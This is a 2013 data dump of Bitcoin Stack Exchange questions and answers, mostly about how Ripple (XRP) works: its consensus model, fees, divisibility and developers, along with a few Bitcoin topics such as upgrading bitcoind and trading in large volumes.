  <row Id="7547" PostTypeId="1" CreationDate="2013-02-11T05:04:11.900" Score="3" ViewCount="346" Body="&lt;p&gt;I’ve been thinking about a system that allows you to publicly destroy bitcoins to let people build networks with some protection against Sybil attacks other than the difficulty of getting IPv4 addresses. As an alternative to destroying the coins, I’ve been thinking of giving all but one satoshi to the node that includes the transaction into a block. I mean, as long as you don’t control more than 10% of the network, it won’t really change how much it costs you to “destroy” coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here’s the problem: Suppose a node creates one of these transactions, but &lt;em&gt;doesn’t broadcast it&lt;/em&gt;. Instead, they wait until they manage to include it into a block, then broadcast the block. Even if they only control 0.1% of hashing power, they can find the block in about a week.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can’t think of a good solution to this. Can you?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="5406" LastEditDate="2016-04-28T13:42:06.667" LastActivityDate="2016-04-28T13:42:06.667" Title="Publicly destroying bitcoins by setting high transaction fees" Tags="|transaction-fees|mining-theory|economic-theory|proof-of-destruction|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7548" PostTypeId="2" ParentId="7547" CreationDate="2013-02-11T08:33:59.697" Score="1" Body="&lt;p&gt;There &lt;em&gt;can be&lt;/em&gt; no solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if you managed to solve the &quot;allowing only nodes with &lt;code&gt;%&amp;lt;X&lt;/code&gt; problem&quot; (and I doubt it is feasible), you wouldn't solve anything, since one single person can create two small nodes, but he is actually owner of both (i.e. controls a combined hashpower).&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="196" LastEditDate="2013-02-11T09:12:16.027" LastActivityDate="2013-02-11T09:12:16.027" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7549" PostTypeId="1" AcceptedAnswerId="7557" CreationDate="2013-02-11T09:56:43.690" Score="21" ViewCount="2357" Body="&lt;p&gt;What is &lt;a href=&quot;https://ripple.com/&quot;&gt;Ripple&lt;/a&gt;, and how does the system compare to Bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="44" LastEditDate="2013-05-09T23:23:07.400" LastActivityDate="2016-10-28T22:40:23.377" Title="What is Ripple and how does it compare to Bitcoin?" Tags="|ripple|currencies|architecture|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7550" PostTypeId="1" AcceptedAnswerId="7563" CreationDate="2013-02-11T09:59:22.937" Score="40" ViewCount="5201" Body="&lt;p&gt;How does &lt;a href=&quot;https://ripple.com/&quot;&gt;the Ripple system&lt;/a&gt; solve the double-spend problem? Does it also use some block-chain-like entity that officially dictates which transactions are confirmed and which are not, or does it use some other clever mechanism?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="44" LastEditDate="2013-05-09T23:23:43.823" LastActivityDate="2013-11-12T18:17:35.220" Title="How does Ripple solve the double-spend problem?" Tags="|protocol|ripple|doublespend|architecture|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7551" PostTypeId="1" CreationDate="2013-02-11T10:02:26.337" Score="11" ViewCount="1447" Body="&lt;p&gt;Does &lt;a href=&quot;https://ripple.com/&quot;&gt;Ripple&lt;/a&gt; allow one to issue their own currency, similar to how ripples (XRP) were created at the system's inception?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-02-11T15:17:15.330" Title="Does Ripple allow one to issue their own currency?" Tags="|money-supply|currencies|ripple|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7552" PostTypeId="1" CreationDate="2013-02-11T10:04:15.757" Score="4" ViewCount="545" Body="&lt;p&gt;How does one get money into the &lt;a href=&quot;https://ripple.com/&quot; rel=&quot;nofollow&quot;&gt;Ripple&lt;/a&gt; system? There appear to be ways how one can lend various currencies in the system, but how does one get non-debt money into Ripple?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-02-11T23:06:01.840" Title="How does one get money into the Ripple system?" Tags="|exchanges|money-supply|money|ripple|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7553" PostTypeId="1" AcceptedAnswerId="7560" CreationDate="2013-02-11T10:06:36.597" Score="6" ViewCount="2052" Body="&lt;p&gt;How divisible are &lt;a href=&quot;https://ripple.com/&quot;&gt;ripples&lt;/a&gt; (XRP)? With 100 billion of the currency units being created at system inception one could assume that they are akin to satoshis, but during the operation of the system I found my balance being charged sub-ripple amounts for some operations. How much can one ripple be divided into?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="105" LastEditDate="2013-02-11T15:33:19.297" LastActivityDate="2013-02-13T08:32:26.290" Title="How divisible are ripples?" Tags="|money-supply|money|ripple|divisibility|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7554" PostTypeId="1" CreationDate="2013-02-11T10:08:26.033" Score="7" ViewCount="1206" Body="&lt;p&gt;Who are the core developers behind &lt;a href=&quot;https://ripple.com/&quot;&gt;the Ripple system&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="2306" LastEditDate="2015-01-25T16:24:36.210" LastActivityDate="2015-01-25T16:24:36.210" Title="Who are the core developers behind Ripple?" Tags="|development|ripple|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7555" PostTypeId="1" CreationDate="2013-02-11T10:11:13.813" Score="6" ViewCount="2901" Body="&lt;p&gt;In Advanced/Trade tab there is a &quot;BTC/XRP&quot; box, and a &quot;change issuer&quot; link.&#xA;I have no clue what should I do to post any buy or sell:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I can freely modify the exchange currencies, and only USD/XRP shows me an order form&lt;/li&gt;&#xA;&lt;li&gt;it has a ripple address near &quot;base currency&quot; / &quot;change issuer&quot;, so I guess this means that that address somehow takes care of the USD exchanges?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm still clueless about what am I supposed to do to either set up a Bitcoin exchange myself, or to fine an existing one, neither have any idea how this all works.&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2019-04-18T01:01:35.343" Title="How does Ripple's exchange work?" Tags="|exchanges|ripple|" AnswerCount="3" CommentCount="1" ClosedDate="2019-07-17T17:38:08.223" ContentLicense="CC BY-SA 3.0" />
  <row Id="7556" PostTypeId="1" CreationDate="2013-02-11T10:13:54.220" Score="3" ViewCount="885" Body="&lt;p&gt;Do transactions in &lt;a href=&quot;https://ripple.com/&quot; rel=&quot;nofollow&quot;&gt;Ripple&lt;/a&gt; have a transaction ID of sorts just like Bitcoin transactions, or are they identified in some other way?&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2013-02-11T14:25:02.377" Title="Do transactions in Ripple have a TXID of sorts, or not?" Tags="|transactions|protocol|ripple|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7557" PostTypeId="2" ParentId="7549" CreationDate="2013-02-11T10:16:05.450" Score="18" Body="&lt;p&gt;This is answered in the &lt;a href=&quot;https://ripple.com/wiki/Introduction_to_Ripple_for_Bitcoiners&quot;&gt;official wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Like Bitcoin:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;ripple is a distributed peer-to-peer payment network&lt;/li&gt;&#xA;  &lt;li&gt;ripple transactions are irreversible, sent over the Internet, and counterfeit proof&lt;/li&gt;&#xA;  &lt;li&gt;ripple uses the same underlying cryptography as Bitcoin&lt;/li&gt;&#xA;  &lt;li&gt;ripple has multi-signature support&lt;/li&gt;&#xA;  &lt;li&gt;ripple has low to no transaction fees&lt;/li&gt;&#xA;  &lt;li&gt;ripple servers can be run by anyone&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;Unlike Bitcoin:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;ripple can send any currency&lt;/li&gt;&#xA;  &lt;li&gt;ripple can automatically exchange currencies&lt;/li&gt;&#xA;  &lt;li&gt;ripple transactions are fully confirmed in seconds&lt;/li&gt;&#xA;  &lt;li&gt;ripple allows nicknames and gravatar icons for accounts&lt;/li&gt;&#xA;  &lt;li&gt;ripple's reference client is a Firefox and Chrome add on&lt;/li&gt;&#xA;  &lt;li&gt;ripple has no block chain download, clients are ready in seconds&lt;/li&gt;&#xA;  &lt;li&gt;ripple has no mining or direct monetary reward for running a ripple server&lt;/li&gt;&#xA;  &lt;li&gt;ripple has no currency risk as people can hold whatever fiat they want&lt;/li&gt;&#xA;  &lt;li&gt;ripple solves the double spending problem with consensus instead of proof-of-work&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="196" LastEditorUserId="208" LastEditDate="2013-05-01T17:00:35.750" LastActivityDate="2013-05-01T17:00:35.750" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7558" PostTypeId="1" CreationDate="2013-02-11T13:42:24.730" Score="1" ViewCount="261" Body="&lt;p&gt;It was &lt;a href=&quot;http://firstbits.com&quot; rel=&quot;nofollow&quot;&gt;loading&lt;/a&gt; slowly, and now isn't loading at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got some nasty sql error messages, I posted them to webmaster@firstbits.com but the mail bounced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do we know if these are temporary problems, or they might mean the site is closing down?&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="196" LastEditDate="2013-02-11T13:49:00.747" LastActivityDate="2013-02-28T17:15:35.350" Title="Is firstbits.com actively mantained?" Tags="|firstbits|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7559" PostTypeId="2" ParentId="7556" CreationDate="2013-02-11T14:25:02.377" Score="5" Body="&lt;p&gt;Ripple transactions have a 256-bit transaction ID that is a hash of the inner transaction and the signature.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-02-11T14:25:02.377" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7560" PostTypeId="2" ParentId="7553" CreationDate="2013-02-11T14:27:21.873" Score="6" Body="&lt;p&gt;XRP are internally represented as an integer number of millionths of a ripple. No term has yet been accepted for naming these units, but some people have (I think jokingly) referred to them as &quot;Jeds&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: It looks like they will be officially referred to as drops as &lt;a href=&quot;https://ripple.com/forum/viewtopic.php?f=1&amp;amp;t=40#p228&quot; rel=&quot;nofollow&quot;&gt;you suggested&lt;/a&gt;. A transaction costs 10 drops. There are a million drops in a ripple.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-02-13T08:32:26.290" LastActivityDate="2013-02-13T08:32:26.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7561" PostTypeId="2" ParentId="7552" CreationDate="2013-02-11T14:29:28.457" Score="4" Body="&lt;p&gt;Fiat currencies can only exist as debt. If you have them, and they're not in your physical possession, it can only mean that someone owes them to you. This is the same way it works outside the Ripple system. If you have $1,000, and you don't have physical bills, then someone (most likely your bank) owes you that $1,000.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Ripple system uses gateways whose primary purpose is to offer debt with &quot;withdraw on demand&quot; agreements with large numbers of people. This allows those people who are willing to trust that gateway to use their debt as a means of exchange. The Ripple system includes automated exchanges between gateways just as it provides exchanges between currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is analogous to conventional banking. If my bank owes me $100, I can send you a check to make your bank owe you $100 more and my bank owe me $100 less. You consider me to have paid you $100 because I made your bank owe you $100 and you chose to trust your bank.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-02-11T23:06:01.840" LastActivityDate="2013-02-11T23:06:01.840" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7562" PostTypeId="2" ParentId="7551" CreationDate="2013-02-11T14:33:53.457" Score="5" Body="&lt;p&gt;Currently, only three-letter currencies that exist as IOUs can be created as a custom currency. And if someone else uses that same three-letter identifier for something else, each account can only transact in one of those conflicting currencies. So you could use &quot;XBR&quot; to mean people owe each other beers and you could use the ripple system to track how many beers you owe people or they owe you. You could accept payment in beers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are plans to introduce more customized currencies. There are some things you can't do without some specialization. For example, charging a storage fee as some gold storage agents would like to do. This is still in the design stages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can, of course, create IOUs denominated in any currency, subject only the what other people are willing to take. But if you want to create two accounts and have one owe the other $1,000,000, you can.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-02-11T15:17:15.330" LastActivityDate="2013-02-11T15:17:15.330" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7563" PostTypeId="2" ParentId="7550" CreationDate="2013-02-11T14:39:26.867" Score="33" Body="&lt;p&gt;The details are very complex, but the core concept is fairly simple. Ripple solves the double-spend problem by consensus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The analogy I use is an &quot;agreement room&quot;. To walk into the room, you have to agree with everyone who is already in there. If you want to disagree, you have to leave and form your own room. Everyone who is honest wants to get into the biggest room they can with the most people in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the room, people constantly agree on the current state of the system. It's implemented as a hash tree, so that's just one 256-bit number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To perform a transaction, you walk into the big room and read out the transaction. Everyone checks the transaction against their ledger. Assuming there's no conflicting transaction or other problem, everyone agrees that the transaction is valid and they include it in the set of transactions they believe should be applied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They then work on any disagreements they have by an avalanche process. Essentially, if someone is voting yes on a transaction that doesn't have overwhelming majority support, they just change their vote to no. This ensures there's a quick agreement on a set of transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once a set of candidate transactions is agreed upon, those transaction are applied and everyone computes the next ledger according to a set of deterministic rules. They all sign it, publish those signatures, and now clients know which transactions have been accepted by the consensus process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a transaction doesn't get in for some reason, but it's still valid, every honest person in the room will say yes to that transaction in the next round.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, back to the double spend problem. A double spend is essentially two transactions, each of which is valid if and only if it's applied before the other. Thus solving the double spend problem &quot;merely&quot; requires agreeing on an order for the two transactions. If everyone agrees which comes first, the problem is solved -- the one that comes first is applied and thus the other is invalid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Ripple system, if two transactions are a double spend, one of three things can happen:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;One transaction will get voted into a consensus set before the other. In this case, that transaction will be in a ledger signed by all the people in the room, forever invalidating the other.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Both get into the same consensus set (this should almost never happen). In this case, a deterministic rule when the consensus set is applied determines which gets into the ledger, forever blocking the other.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Neither gets into a consensus set because neither gets a majority and both transactions are at around 50%. In this case, every node that sees both transactions (which will quickly be the vast majority of nodes) will vote yes on the transaction that wins by a deterministic rule and no on the transaction that loses by that rule. The one that wins by that deterministic rule will get in the consensus set, be applied to the ledger, and forever block the other.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That's a gross oversimplification, but it's inherently fairly complex.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-02-13T03:04:41.073" LastActivityDate="2013-02-13T03:04:41.073" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="7564" PostTypeId="2" ParentId="7554" CreationDate="2013-02-11T15:15:38.100" Score="11" Body="&lt;p&gt;Chris Larsen has been &lt;a href=&quot;http://bitcoinmagazine.com/introducing-ripple/&quot; rel=&quot;nofollow&quot;&gt;publicly identified&lt;/a&gt; as CEO of OpenCoin, the company behind the new Ripple. The core developers have been &lt;a href=&quot;http://www.businessweek.com/articles/2013-04-11/introducing-ripple-a-bitcoin-copycat&quot; rel=&quot;nofollow&quot;&gt;publicly identified&lt;/a&gt; as Jed McCaleb, Arthur Britto, Stefan Thomas, and me (David Schwartz).&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-04-16T03:27:44.423" LastActivityDate="2013-04-16T03:27:44.423" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7565" PostTypeId="2" ParentId="7554" CreationDate="2013-02-11T15:50:58.407" Score="6" Body="&lt;p&gt;First of all it's important to point out that Ripple (unlike Bitcoin) has been developed by a company, OpenCoin Inc. There is no information about individual developers on ripple.com or opencoin.com. The following information can be found from the &lt;a href=&quot;http://www.whois.com/whois/opencoin.com&quot;&gt;Whois of opencoin.com&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; Registrant:&#xA; OpenCoin Inc&#xA; 268 Bush St #2724&#xA; San Francisco, CA 94104&#xA; US&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That said Ripple is (will be) open source and decentralized, people can write competing clients and the Ripple network could function in the future without OpenCoin Inc.&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2013-02-11T15:50:58.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7566" PostTypeId="1" CreationDate="2013-02-11T16:35:23.843" Score="3" ViewCount="744" Body="&lt;p&gt;I'm asking because I think it could be a decent investment, but on &lt;a href=&quot;http://bitcoin.clarkmoody.com/&quot; rel=&quot;nofollow&quot;&gt;clarkmoody&lt;/a&gt; the volumes aren't very large.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which could mean that bitcoin is only useful in small volumes, and that larger transactions (i.e. $ 5000 - $ 10000) will have to much of an influence on the price to be considered a wise investment (i.e.: you wouldn't be able to buy/sell everything at once without the price dramatically rising/falling). Any ideas/suggestions from the experts?&lt;/p&gt;&#xA;" OwnerDisplayName="user2881" LastEditorUserId="516" LastEditDate="2013-02-12T02:14:32.650" LastActivityDate="2013-02-12T02:14:32.650" Title="Is buying and selling bitcoin in large volumes possible, or wise?" Tags="|exchanges|exchange-rate|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7567" PostTypeId="1" CreationDate="2013-02-11T16:46:05.800" Score="12" ViewCount="2585" Body="&lt;p&gt;What incentive is there for someone to run their own Ripple client/server in order to make it an actual decentralized system? With Bitcoin, you can mine to generate new bitcoins and collect transaction fees. Is there a Ripple equivalent? &lt;/p&gt;&#xA;" OwnerUserId="2882" LastActivityDate="2013-02-16T15:09:56.843" Title="What benefit or incentive is there for someone to run their own ripple client or ripple server?" Tags="|ripple|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7568" PostTypeId="1" AcceptedAnswerId="7570" CreationDate="2013-02-11T17:04:26.567" Score="3" ViewCount="325" Body="&lt;p&gt;Upgrading to 0.8 from 0.7 I noticed the old &lt;code&gt;blk*.dat&lt;/code&gt; files were untouched, while it was created a new directory called &lt;code&gt;blocks/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess I can delete the old &lt;code&gt;blk*.dat&lt;/code&gt; files? Is there something else I'm supposed to delete?&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2013-02-11T18:56:34.947" Title="I upgraded bitcoind to 0.8 from 0.7, may I delete the old blocks?" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7569" PostTypeId="2" ParentId="7566" CreationDate="2013-02-11T17:04:50.160" Score="1" Body="&lt;p&gt;It is possible. You can go to Mtgox if you like, but of course you can make an offer in BITCOIN-OTC, &quot;outside the market&quot;. If someone agrees your offer, this trade would't impact on Mtgox and similar markets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be wise. You only need to be careful with people you agree to trade, using the &quot;trust database&quot; to see people's reputation, so you decrease the probability of getting ripped.&lt;/p&gt;&#xA;" OwnerUserId="2707" LastActivityDate="2013-02-11T17:04:50.160" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7570" PostTypeId="2" ParentId="7568" CreationDate="2013-02-11T18:56:34.947" Score="4" Body="&lt;p&gt;Yes, if you don't plan on switching back to the old version you can delete the old blk*.dat files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final 0.8 release will include this little script to tidy your data directory:&#xA;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/contrib/tidy_datadir.sh&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/contrib/tidy_datadir.sh&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2013-02-11T18:56:34.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7571" PostTypeId="2" ParentId="2632" CreationDate="2013-02-11T20:27:30.803" Score="-1" Body="&lt;p&gt;usury is forbidden in muslim religion/as it was in christianity as this creates wealth based on accumulating interest paying 3 fold or more if you default and % can change..muslims believe if i lend you 10$ i expect back 10$ no interest for the loan.but trade is encouraged i.e you buy an item and sell to me at a profit this encourages trade and society and the amount you pay back is known,fixed.i think IBB are trying to follow this model..but they seem to follow the base rate as a refference point&lt;/p&gt;&#xA;" OwnerUserId="2883" LastActivityDate="2013-02-11T20:27:30.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7572" PostTypeId="1" AcceptedAnswerId="7575" CreationDate="2013-02-11T20:32:49.273" Score="5" ViewCount="1486" Body="&lt;p&gt;&lt;a href=&quot;https://ripple.com/how-ripple-works/&quot;&gt;https://ripple.com/how-ripple-works/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;While Ripple does not charge a typical fee for profit, each&#xA;  transaction does require a small portion of a ripple (equivalent to&#xA;  ~1/1000th of a cent) for security.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This seems to assume a certain conversion rate between Ripples (XRP) and real world money. How much in XRP is the TX fee?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-02-11T21:27:47.967" Title="What are the transaction fees with Ripple.com?" Tags="|ripple|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7573" PostTypeId="1" AcceptedAnswerId="8076" CreationDate="2013-02-11T20:38:05.210" Score="15" ViewCount="54243" Body="&lt;p&gt;XRP are the units of the new Ripple.com system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can I find how much they're worth right now? Historic charts?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2013-02-12T05:32:44.620" LastActivityDate="2018-01-12T08:45:17.260" Title="Where can I find how much one XRP (Ripple unit) is worth?" Tags="|ripple|" AnswerCount="8" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7574" PostTypeId="2" ParentId="7573" CreationDate="2013-02-11T21:25:23.640" Score="-2" Body="&lt;p&gt;It will be worth different things to different people in different instances. There won't be any global price just like there isn't any global price for bitcoin. Multiple exchange rates exist on multiple exchanges. MtGox is just the biggest and thus often quoted. Some people are paying more some people are paying less than the MtGox rate. This creates opportunities for arbitrage.&#xA;This only accounts for other currencies and not for example how many gallons of gas a bitcoin is worth.&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2013-02-11T21:25:23.640" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7575" PostTypeId="2" ParentId="7572" CreationDate="2013-02-11T21:27:47.967" Score="7" Body="&lt;p&gt;The default fee for a transaction is 0.00001 XRP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the fee is not fixed. Quoting &lt;a href=&quot;https://ripple.com/wiki/Transaction_Fee&quot;&gt;the wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Transaction fees are adjusted based on two factors: base fee and load&#xA;  fee&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;base fee: long term fee adjustments&lt;/strong&gt;&#xA;  Since transaction fees are&#xA;  paid in XRP and the price of XRP may change overtime, to keep the&#xA;  price of transactions affordable, Ripple uses an adjustable &quot;base fee&quot;&#xA;  to specify the cost of transactions.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;load fee: short term fee adjustments&lt;/strong&gt;&#xA;  The &quot;load fee&quot; can rise quickly to protect the network&#xA;  from attacks and keep the network functional under heavy load.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The fee schedule is changed using consensus, &lt;a href=&quot;https://bitcointalk.org/index.php?topic=142150.msg1517807#msg1517807&quot;&gt;quoting. D.Schwartz&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A node can introduce a transaction to change the base fee. If a&#xA;  trust-weighted majority of nodes vote &quot;yes&quot; on the transaction, it&#xA;  will be incorporated into the ledger and the fee will be changed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="105" LastActivityDate="2013-02-11T21:27:47.967" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7576" PostTypeId="2" ParentId="7567" CreationDate="2013-02-11T22:21:58.147" Score="9" Body="&lt;p&gt;There is no mining in Ripple. The incentive to run a client is to use the Ripple network. There are several incentives to running a server. The main one, as Lohoris suggested, is to support the network. This is the same reason Bitcoin nodes relay transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://ripple.com/wiki/FAQ&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;Anyone whose business relies on the network:&#xA;    Gateways&#xA;    Merchants&#xA;    Arbitragers&#xA;    Day traders &#xA;Anyone who wants to support currency choice:&#xA;    Digital rights groups&#xA;    Libertarian groups&#xA;    Individuals &#xA;Anyone who wants to support the underbanked:&#xA;    Organizations&#xA;    Individuals &#xA;Anyone who wants to provide a public service:&#xA;    Universities&#xA;    Anyone who provides hosting services for open source projects &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As a high-volume merchant or arbitrager, running a node is the most efficient and reliable way to participate in the network. If nodes feel you aren't pulling your weight, they can either disconnect you or impose a &lt;a href=&quot;https://ripple.com/wiki/Proof_of_work#rippled.27s_use_of_proof_of_work&quot;&gt;proof of work&lt;/a&gt; requirement on you to remain connected to them. This is because legitimate high-volume queries are indistinguishable from abuse. As a fully-participating node, you can see transactions before they're voted into consensus sets.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-02-12T10:32:39.460" LastActivityDate="2013-02-12T10:32:39.460" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7577" PostTypeId="1" CreationDate="2013-02-11T23:03:54.460" Score="1" ViewCount="141" Body="&lt;p&gt;I've been trading BTC in the UK via bank transfer for a while now and may begin doing cash purchases soon. I've realised that it is critical I document the cash withdrawal as an expense so that I get taxed only on the profit and not the entire turnover of the bitcoin sale. Usually this is done via the means of keeping receipts - so I guess I could have some sort of receipt that documents the exchange but I'm not sure where to begin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What kind of information do I put on it? &#xA;What is the bare minimum information I need on the seller?&#xA;Considering it is me issuing this document it's not exactly an invoice or a receipt, is there a word for it?&lt;/p&gt;&#xA;" OwnerUserId="2654" LastEditorUserId="196" LastEditDate="2013-02-12T09:56:58.443" LastActivityDate="2013-02-12T09:56:58.443" Title="Documenting bitcoin cash buys" Tags="|legal|trade|local|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7578" PostTypeId="1" AcceptedAnswerId="11934" CreationDate="2013-02-12T00:05:24.933" Score="8" ViewCount="1741" Body="&lt;p&gt;Is there any ETF that allows for the purchase of Bitcoins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?  &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;More info...&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An ETF is like a stock that is publicly traded on the stock market, and it can represent:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A collection of stocks&lt;/li&gt;&#xA;&lt;li&gt;An asset, like gold or silver&lt;/li&gt;&#xA;&lt;li&gt;A position, such as a derivative on an index like SPX$&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="5406" LastEditDate="2017-03-11T10:44:24.753" LastActivityDate="2017-03-12T14:02:07.290" Title="Do any ETFs purchase Bitcoins? Is that scenario possible?" Tags="|trading|finance|bitcoin-etf|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
